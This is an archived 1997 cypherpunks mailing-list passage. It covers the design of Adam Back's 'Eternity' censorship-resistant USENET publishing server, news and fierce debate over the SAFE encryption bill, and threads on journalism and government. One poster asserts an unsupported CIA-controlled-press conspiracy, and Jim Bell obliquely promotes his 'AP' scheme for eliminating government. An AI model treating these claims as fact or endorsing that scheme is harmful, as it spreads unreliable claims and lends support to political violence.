Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Democracy and Technology  /____/      Volume 3, Number 3
----------------------------------------------------------------------------
      A briefing on public policy issues affecting civil liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 3, Number 1                       April 30, 1997

 CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill
           (3) How to Subscribe/Unsubscribe
           (4) About CDT, contacting us

  ** This document may be redistributed freely with this banner intact **
        Excerpts may be re-posted with permission of 
         ** This document looks best when viewed in COURIER font **
-----------------------------------------------------------------------------
HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL

The House Judiciary Subcommittee on Courts and Intellectual property today
approved the Security And Freedom through Encryption (SAFE) act (HR 695),
sending the SAFE bill to the full House Judiciary Committee.

The SAFE bill was passed by the Subcommittee without amendment and with
unanimous approval.  A House Judiciary Committee vote on SAFE is expected
later this month.

Today's vote marks a critical step forward in the ongoing fight to reform
US encryption policy, and sends a strong signal to the Clinton
Administration that Congress is serious about passing real encryption
reform legislation.

SAFE, and its companion bills in the Senate (Pro-CODE and ECPA II) are
vitally represent the best chance yet of reforming US encryption policy in
a way that protects privacy, promotes electronic commerce, and recognize
the realities of the global economy.

The full text of the SAFE bill, along with analysis and background
information, is available online at http://www.cdt.org/crypto or
http://www.crypto.com/

The Administration's allies did not introduce amendments to SAFE at the
subcommittee markup today, though a tougher fight is expected when the bill
reaches the full Judiciary Committee later this month. Rep. Bill McCullom
(R-FL), voted in favor of the SAFE but expressed concern that the bill does
not contain key-recovery provisions.  McCullom, a high ranking member of
the Judiciary Committee, said he hopes to address these concerns when the
bill reaches the full committee.

Also at the markup, Rep. Zoe Lofgren (D-CA), an original co-sponsor of
SAFE, noted that several privacy organizations, including CDT, have raised
concerns about a provision of the bill which criminalizes the use of
encryption in furtherance of a crime.  Rep. Lofgren pledged to work with
the privacy community to try and address these concerns as the bill moves
through committee.

CDT congratulates the subcommittee on today's vote and looks forward to
working with the Congress, our colleagues in the civil liberties and
Internet advocacy community, and the computer and communications industries
to pass real reform of US encryption policy this year.

For more information on what you can do to join the fight, please visit
http://www.crypto.com/adopt.

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End Policy Post 3.03                                           04/30/97
-----------------------------------------------------------------------







From lucifer at dhp.com  Wed Apr 30 16:05:31 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 07:05:31 +0800
Subject: Rejecting Foreplay With Government Vermin
Message-ID: <199704302235.SAA07800@dhp.com>


Hume's evil twin wrote:
(Declan take note...)

"It is seldom that virginity of any kind is not lost all at once."
                                                 - Human Gus






From declan at well.com  Wed Apr 30 16:53:48 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 1 May 1997 07:53:48 +0800
Subject: House subcom. passes crypto bill, USDoJ letter to panel
Message-ID: 



**********

Date: Wed, 30 Apr 1997 19:28:10 -0400
To: fight-censorship-announce at vorlon.mit.edu
From: Declan McCullagh 
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

After all the backroom wrangling that led up to today's markup, the actual
subcommittee vote on legislation that would lift export controls on
encryption was an anticlimax. A House Judiciary subcommittee passed Rep.
Bob Goodlatte's (R-Va) "SAFE" bill unanimously by voice vote. Not one
member of the panel spoke against it -- even after the Justice Department
tried a last-minute lobbying blitz to derail the bill.

It's a tribute to the effectiveness of the high-tech lobbyists that even
Rep. Bill McCollum (R-Fl) didn't slam the bill, as he was itching to do.
Instead he had to be content with huffing: "I'm not saying I'm opposed to
the bill; I want to put up a red flag. There are people in the intelligence
community and criminal justice community who have expressed concerns to
me." He warned he might have amendments later.

And what else could he say? High tech was smart enough to recruit outside
its ranks for unusual allies in its last-minute legislative push. An April
29 letter to the committee urging them to pass the bill included groups
like the National Association of Manufacturers and the National Retail
Federation.

Goodlatte, the bill's chief sponsor, came up to me afterwards and grinned.
"We already have a significant majority of the full committee supporting
this bill," he said. "There's not one member of Congress who's stepped up
and said they're openly opposed to this legislation. None."

(Rep. Zoe Lofgren (D-Ca) noted that she received a letter from a coalition
of groups criticizing the bill for imposing harsh criminal penalties for
using crypto to further a crime. She vaguely promised to address it later.
That section stayed in.)

But the fight isn't over; rather, it's just beginning. SAFE still has to
clear the full House Judiciary committee, and Sen. Conrad Burns' Pro-CODE
bill has yet to advance in the Senate.

Don't discount the Clinton administration and the Department of Justice --
the largest law firm in the world, with plenty of lobbyists who regularly
swarm onto Capitol Hill to demand expanded police powers. An excerpt from
the DoJ's fearmongering letter sent to the committee today is attached
below.

-Declan

***************

	April 30, 1997

	Rep. Howard Coble
	Subcommittee on Courts and Intellectual	Property chairman
	House Judiciary Committee

	Your Subcommittee will soon begin mark-up of
	H.R. 695, the "Security and Freedom
	Through Encryption (SAFE) Act." Although
	the Department of Justice supports H.R.
	695's overall goal of promoting the wide
	dissemination of strong encryption, we
	believe that the bill would severely
	compromise law enforcement's ability to
	protect the American people from the
	threats posed by terrorists, organized
	crime, child pornographers, drug cartels,
	financial predators, hostile foreign
	intelligence agents, and other criminals.
	In addition, the bill would greately
	impair the government's ability to
	prosecute those crimes when they do occur.
	We urge the Subcommittee to reject H.R.
	695 in its present form...

	We also oppose H.R. 695 because it would
	impede or prevent the development of a key
	management infrastructure. The bill could
	be read as prohibiting the United States
	government from using appropriate
	incentives to support a key management
	infrastructure and key recovery. Without
	such an infrastructure supporting key
	recovery, federal law enforcement
	investigations will become far more
	difficult. The problems that enactment
	of H.R. 695 would pose for state and local
	law enforcement, which lack access to
	supercomputers, are even greater...

	Sincerely,

	Andrew Fois
	Assistant Attorney General
        Office of Legislative Affairs
        U.S. Department of Justice



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From tcmay at got.net  Wed Apr 30 17:30:55 1997
From: tcmay at got.net (Tim May)
Date: Thu, 1 May 1997 08:30:55 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <3355CC61.B61@stanford.edu>
Message-ID: <199705010008.RAA29286@you.got.net>


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)


CDT and other Washington insider groups are busily singing the praises of
the SAFE encryption bill, despite some acknowledged "minor flaws."

Well, the flaws are not minor. The bill does not give Americans any rights
they do not already have, and does not ease export of strong crypto in any
meaningful way. In fact, the bill contains odd language implying it is
essentially only financial software which is easier to export, and then
only if the receiving country (huh?) allows it...since when is the duty of
U.S. Customs to pass products for export based on whether Baluchistan, for
example, wants the product?

Ah, but things get worse. The language speaks of barring key escrow, but
then says that law enforcment needs are not affected. This not only is not
a bar on key escrow, which of course is not required at this time, but it
also may open the door for "legitimate needs of law enforcement" key
escrow.

And, worst of all,  it criminalizes the use of crypto in connection with
the use of crypto in any prosecutable offense. Say "Fuck Goodlatte and the
horse he rode in on" in a message using encrypted remailers, and the
Communications Decency Act is violated (if it gets upheld). Voila, instant
5-year sentence. Use remailers to distribute information banned by Big
Brother.... 

The chilling effect is exactly and completely analogous to the chilling
effect intended when those giant billboards went up some years back with
the dire warning: "Use a gun, go to prison."

I hope the fools at CDT are prepared to help install the "Use a cipher, go
to prison" billboards.

I've been watching these so-called "crypto liberation" bills, Pro-CODE and
SAFE, wend their ways through the legislative process. Both are severely
flawed. Both should be rejected. Passing laws with flaws is worse than
doing nothing, than just relying on the good old Constitution for our
rights.

Here's a partial analysis of this pernicious piece of legislation:

At 2:19 PM -0800 4/30/97, Alan Davidson of CDT wrote:

> CDT POLICY POST Volume 3, Number 1                       April 30, 1997
>
> CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill

>-----------------------------------------------------------------------------
>HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL
>
>The House Judiciary Subcommittee on Courts and Intellectual property today
>approved the Security And Freedom through Encryption (SAFE) act (HR 695),
>sending the SAFE bill to the full House Judiciary Committee.
...
>Today's vote marks a critical step forward in the ongoing fight to reform
>US encryption policy, and sends a strong signal to the Clinton
>Administration that Congress is serious about passing real encryption
>reform legislation.

SAFE provides no rights not already enjoyed by Americans, and contains
language which appears to compromise some other rights.

For example:

""�2804. Prohibition on mandatory key escrow

"(a) PROHIBITION. -- No person in lawful possession of a key to encrypted
information may be required by Federal or State law to relinquish to
another person control of that key. 
"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
shall not affect the authority of any investigative or law
enforcement officer, under any law in effect on the effective date of this
chapter, to gain access to a key to encrypted information. "

Sounds good...a ban on key escrow, right? No, because "EXCEPTION FOR ACCESS
FOR LAW ENFORCEMENT PURPOSES" could easily be used to mandage key escrow.
After all, even Louis Freeh and Dorothy Denning have never argued that key
escrow is for use by non-law enforcement!

Put another way, this particular section says Alice doesn't have to
relinquish a key to Bob, a private citizen. Same as the way things are now,
where there is no law, modulo contractual relationships, mandating such
disclosure of keys.

A truly meaningful form of this putative or purported ban on key escrow
would include language along the lines of: "No government agency or
department shall in any work propose, negotiate, plan, or do research on
any scheme related to "key escrow," blah blah blah..." (Not being a lawyer,
I won't try to write the language; the point is that SAFE contains only
weasel language and doesn't actually bar key escrow so long as the Magic
Words "Law Enforcement Purposes" are uttered.)

Meanwhile, the traitors have criminalized crypto with this little gem:

"�2805. Unlawful use of encryption in furtherance of a criminal act

"Any person who willfully uses encryption in furtherance of the commission
of a criminal offense for which the person may be prosecuted in a court of
competent jurisdiction -- 

       "(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or fined in the amount set forth in
       this title, or both; and
       "(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more than 10 years, or fined in the
       amount set forth in this title, or both."."

Obviously, this is a serious problem, recognized by CDT, Lofgren, and many
others. Given that a vast and increasing number of behaviors are now
prosecutable offenses, this section alone would make most remailers parties
to a crime, would make corporations parties to crimes, and would have a
"chilling effect" on the use of crypto.

"Use a cipher, go to prison."

(Using a cipher alone would not itself be a crime, obviously, but the
parallels are *exact* with the famously chilling billboard message: "Use a
gun, go to prison." Using a gun in and of itself is not a crime, as in
target shooting, etc., but the chilling effect message is crystal
clear...this was the whole intent of the California billboards with this
message. So, will billboards be erected with the same message about
crypto?)

This alone is grounds for CDT, EFF, EPIC, ACLU, and anyone else to
immediately and completely withdraw all support for SAFE. The message "Use
a cipher, go to prison" is simply too pernicious to be allowed. Period.

Anyone who disagrees with this should immediately get out of the "civil
rights" industry.

As for the supposed relaxation of export restrictions, I fail to see much
of a difference. The SAFE text says (and I am only partly quoting it, as
quoting it all is too complicated for a message like this one):

" No validated license may be required, except pursuant to the Trading With
the Enemy
       Act or the International Emergency Economic Powers Act (but only to
the extent that the authority of such Act is not exercised to
       extend controls imposed under this Act), for the export or reexport
of..."

Gee, that little clause gives back control of exports. The "except pursuant
to the Trading with the Enemy Act," etc. part means that strong crypto
still won't be freely exportable.  



And the famous bit about exports being allowed to any country in which the
product is already approved...well, we see which way the wind is blowing in
other countries on this one. No doubt the Crypto Tsar, David Aaron, will
ensure that many products are not legal for use in France, Germany, Japan,
etc.

Oh, and just why is a U.S. _export_ contingent on it being "allowed" in
some other country? Export laws regarding national security are about stuff
_leaving_ the United States, not about stuff _entering_ France! That's a
problem for France to solve, not a problem for U.S. Customs to worry about.

And the "permitted for use by financial institutions" seems odd. Is this
SAFE bill only allowing (supposedly) free export of _financial_ software?
It sure looks this way.

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
authorize the export or reexport of software with encryption capabilities
for nonmilitary end-uses in any country to which exports of software of
similar capability are permitted for use by financial institutions not
controlled in 
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fact by United States persons, unless there is substantial evidence that
such software will be
       -- 

              "(A) diverted to a military end-use or an end-use supporting
international terrorism; 

Well, there's the gotcha. There goes the export of "unbreakable crypto," as
it will surely (and already has) been used by Hamas, Sindero Luminoso, the
IRA, and other such international freedom fighters, er, "terrorists."

Thus, we've gained absolutely nothing. Nada. Zip. 



And so it goes. 

Crypto becomes semi-criminalized. Key escrow is not at all restricted,
providing the need is related to "law enforcement" (though private citizens
like me are apparently no longer able to demand the keys of our
neighbors...but, gee, I guess we never were, so nothing even here has been
gained...duh).

And export has the same restrictions related to the Trading with the Enemy
Act, with various national security and law enforcement concerns, but with
some strange language about export being allowed for financial cryptography
providing the receiving country allows it for non-U.S.-owned entities.
(????)

A dangerous piece of legislation. Worse than the status quo. 

It ought to be killed dead.

"Use a cipher, go to prison."

--Tim May, who is a felon under various laws, and who has used crypto in
furtherance of these felonious activitities, and who hence faces 10 years
in the pokey for the SAFE "crime" of using crypto in furtherance of
multiple prosecutable offenses

Fuck that. Fuck CDT, too, for not denouncing this horrible piece of crap.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From vznuri at netcom.com  Wed Apr 30 17:47:34 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Thu, 1 May 1997 08:47:34 +0800
Subject: mainstream media corruption same as govt
In-Reply-To: 
Message-ID: <199705010033.RAA29721@netcom7.netcom.com>


[DM]
>Perhaps that's why it's hard, sometimes, to be a columnist here. If I call
>up the FDA, ask them why they're considering regulating the Net, then
>blast them in a column -- well, they're not going to return my phone calls
>next time. The TIME affiliation helps, but bureaucrats aren't entirely
>stupid -- they're not going to offer information and interviews to their
>critics. Perhaps there's something to be said for the Washington Post "he
>said, she said" style of reporting.

there is nothing to be said for it except that it is one step up from
what is contributing to the inbred relationship between journalists and
politicians. once upon a time, a journalist did not try to curry favor
with politicians, it was not a non-antagonistic relationship nor was
it meant to be. today, journalists go to their feeding buffets called
"press conferences" and pass on uncritically what is fed to them. whatever
happened to the journalist who tried to dig for a real story? obviously
the truth does not come easily, and older style journalists were closer to
understanding this.

why is our press so screwed up? because it has been infiltrated at the
very highest echelons by the CIA with its own agenda, which itself is
being driven by another more sinister agenda behind the scenes. 
the press has reached the level of hypnotic proportions in its ability
to manipulate the perceptions of the populace. if the media is the 
eyes of the populace, then it has been increasingly blinded for several 
years. I encourage anyone to read anything by Ambrose Evans Pritchard,
a british journalist, to see the level of unwary mindless corruption
we are now wallowing in daily in this country, in both the media and
government.

the crack cocaine situation in LA is a good example of how the truth
is buried by the media. a maverick newspaper reports something close to the
truth and the cia-manipulated mouthpieces around the country pile on
the journalist and the newspaper in a barrage of picks that choke the
truth in clouds of smoke.

the internet is breaking some of the press's stranglehold on communication
between citizens. I expect that the mainstream media is going to crumble
very soon as the public begins to realize how corrupted it has become,
both advertently and inadvertently.

in my opinion, the press has become as corrupt as the government. a pity,
because as Jefferson hoped, the press would become a control on the
government. the founding fathers seemed to have a lot of faith in the
integrity of humanity that does not seem to have entirely been borne out
by history.






From vznuri at netcom.com  Wed Apr 30 17:50:37 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Thu, 1 May 1997 08:50:37 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: 
Message-ID: <199705010039.RAA03554@netcom7.netcom.com>



DM
>
>Yep. DC is about power. It's okay to question who should have it (though
>Republicans or Democrats are your only choices), but it's almost unheard
>of to question whether any of 'em should have it at all. And rewards are
>given to those who Play the Game. For instance, I was interviewing some
>FCC commissioners recently for an upcoming article in a widely-read print
>mag, and the agency wanted the article to tilt their way. A week later I
>found my name on the posh invite list to black-tie dinners with the
>commissioners. That's access, folks, and it's responsible for a good
>portion of a journalistic success. If you don't have it, your articles
>suffer. 

I rest my case. That's *bias* and essentially *bribery*, folks, and its
responsible for a good portion of the corruption of the media. and what's
more amusing, not a single reporter involved in it has any pangs of doubt.
DM is downright proud that he's so clever that he's figured out this
ingenious inbred system of you-scratch-my-back!! congratulations on your
ingenuity, DM!! you will truly go a long way with your clearly highly
negotiable and hockable ethical standards...! I see you must be eyeing the
NYT or the Washington Post, eh? 

(DM, imagine the manipulation that you are describing getting *worse*
as you rise to the top, with your scent of it only a small whiff in
comparison, and you begin to understand the corruption that infects
the reality that surrounds us..)






From declan at well.com  Wed Apr 30 17:58:53 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 1 May 1997 08:58:53 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: <199705010039.RAA03554@netcom7.netcom.com>
Message-ID: 


VZ--

Sure it's bribery -- at least an informal, backscratching kind. It's the
way any public relations flack works: floating stories and giving
information to friendly journalists. But it's more insidious when it comes
from government. (Now, some news outlets have some insulation from this,
since no senator is going to turn down an opportunity to appear on NBC
Nightly News, even if it critizies their pet program.) 

But your excerpt didn't give me a chance to finish my story, and you
leaped to the wrong conclusion.

I turned down the FCC dinners, filed my story, argued with my editors who
watered it down, and moved on to my next project. 

Not all journalists have "hockable ethical standards." Indeed, some of us
care about the truth. 

-Declan


On Wed, 30 Apr 1997, Vladimir Z. Nuri wrote:

> DM
> >
> >Yep. DC is about power. It's okay to question who should have it (though
> >Republicans or Democrats are your only choices), but it's almost unheard
> >of to question whether any of 'em should have it at all. And rewards are
> >given to those who Play the Game. For instance, I was interviewing some
> >FCC commissioners recently for an upcoming article in a widely-read print
> >mag, and the agency wanted the article to tilt their way. A week later I
> >found my name on the posh invite list to black-tie dinners with the
> >commissioners. That's access, folks, and it's responsible for a good
> >portion of a journalistic success. If you don't have it, your articles
> >suffer. 
> 
> I rest my case. That's *bias* and essentially *bribery*, folks, and its
> responsible for a good portion of the corruption of the media. and what's
> more amusing, not a single reporter involved in it has any pangs of doubt.
> DM is downright proud that he's so clever that he's figured out this
> ingenious inbred system of you-scratch-my-back!! congratulations on your
> ingenuity, DM!! you will truly go a long way with your clearly highly
> negotiable and hockable ethical standards...! I see you must be eyeing the
> NYT or the Washington Post, eh? 
> 
> (DM, imagine the manipulation that you are describing getting *worse*
> as you rise to the top, with your scent of it only a small whiff in
> comparison, and you begin to understand the corruption that infects
> the reality that surrounds us..)
> 
> 
> 






From azur at netcom.com  Wed Apr 30 18:15:59 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 1 May 1997 09:15:59 +0800
Subject: This is not "cash" if the government demands a report...
Message-ID: 


At 4:51 PM 4/29/97, Kent Crispin wrote:
>On Tue, Apr 29, 1997 at 01:01:59PM -0800, Tim May wrote:
>> At 11:26 AM -0800 4/29/97, Kent Crispin wrote:
>> 
>> >I was refering to your purchase of the 'vette -- presuming the dealer
>> >followed the law, the sale would be reported, and the amount, and
>> >hence the transaction is not anonymous, even though you paid cash...
>> 
>> Ah, Kent, so you are citing the government's intervention in cash
>> transactions (part of the War on Some Drugs, of course) as evidence that
>> cash has flaws. Well, I wouldn't call this cash, not if the government
>> demands that True Names be taken down and reported.
>
>OK.  What would you call it, then? Perhaps you could think of another
>catchy, short name for those greenish bits of paper and circular metal
>objects I have in my pocket that I use to pay for lunch?

The coins in your pocket are 'legal tender' or currency, a non-intrest bearing bearer bond issued by the treasury.  Ecash and its ilk are private currencies, similar in some ways to traveller's checks and money orders which are unsecured and uninsured debts of the issuer, but legally closer to the tokens issued at an amusement park or or the premium stamps (like Blus Chip or S&H Green) which have all but disappeared.  Constitutionally, the government has only limited rights to restrict private the issueance and use of private currencies (Stamp Act of 1861 and its current codification under Title 18.)

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------







From mnorton at cavern.uark.edu  Wed Apr 30 18:21:04 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Thu, 1 May 1997 09:21:04 +0800
Subject: Rejecting Dialog with Government Vermin
In-Reply-To: 
Message-ID: 


> Not all journalists have "hockable ethical standards." Indeed, some of us
> care about the truth. 

And all of you care about the deadline.  Which comes first?
Ah, that's a rehtorical question.:)
MacN






From jimbell at pacifier.com  Wed Apr 30 19:29:47 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:29:47 +0800
Subject: Rejecting Dialog with Government Vermin
Message-ID: <199705010219.TAA28635@mail.pacifier.com>


At 08:40 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

I've proposed what I consider to be a very efficient and effective "pruning
mechanism."  However, I've also suggested that it would continue pruning
until the size of government reached zero.


Jim Bell
jimbell at pacifier.com






From jimbell at pacifier.com  Wed Apr 30 19:53:27 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:53:27 +0800
Subject: Rejecting Dialog with Government Vermin
Message-ID: <199705010238.TAA04266@mail.pacifier.com>


At 21:32 4/29/97 -0800, Tim May wrote:
>At 9:15 PM -0800 4/29/97, Jim Bell wrote:
>>For example, I consider a major nuclear powers' possession of nukes to be
>>one of the most serious examples of "nuclear terrorism" there is, but on the
>>other hand I believe that an appropriate use of crypto (AP) could force any
>>owners of nuclear weapons to dismantle them.  Few people challenge this
>>claim.  If I'm right, crypto is a solution rather than a problem.  Why not
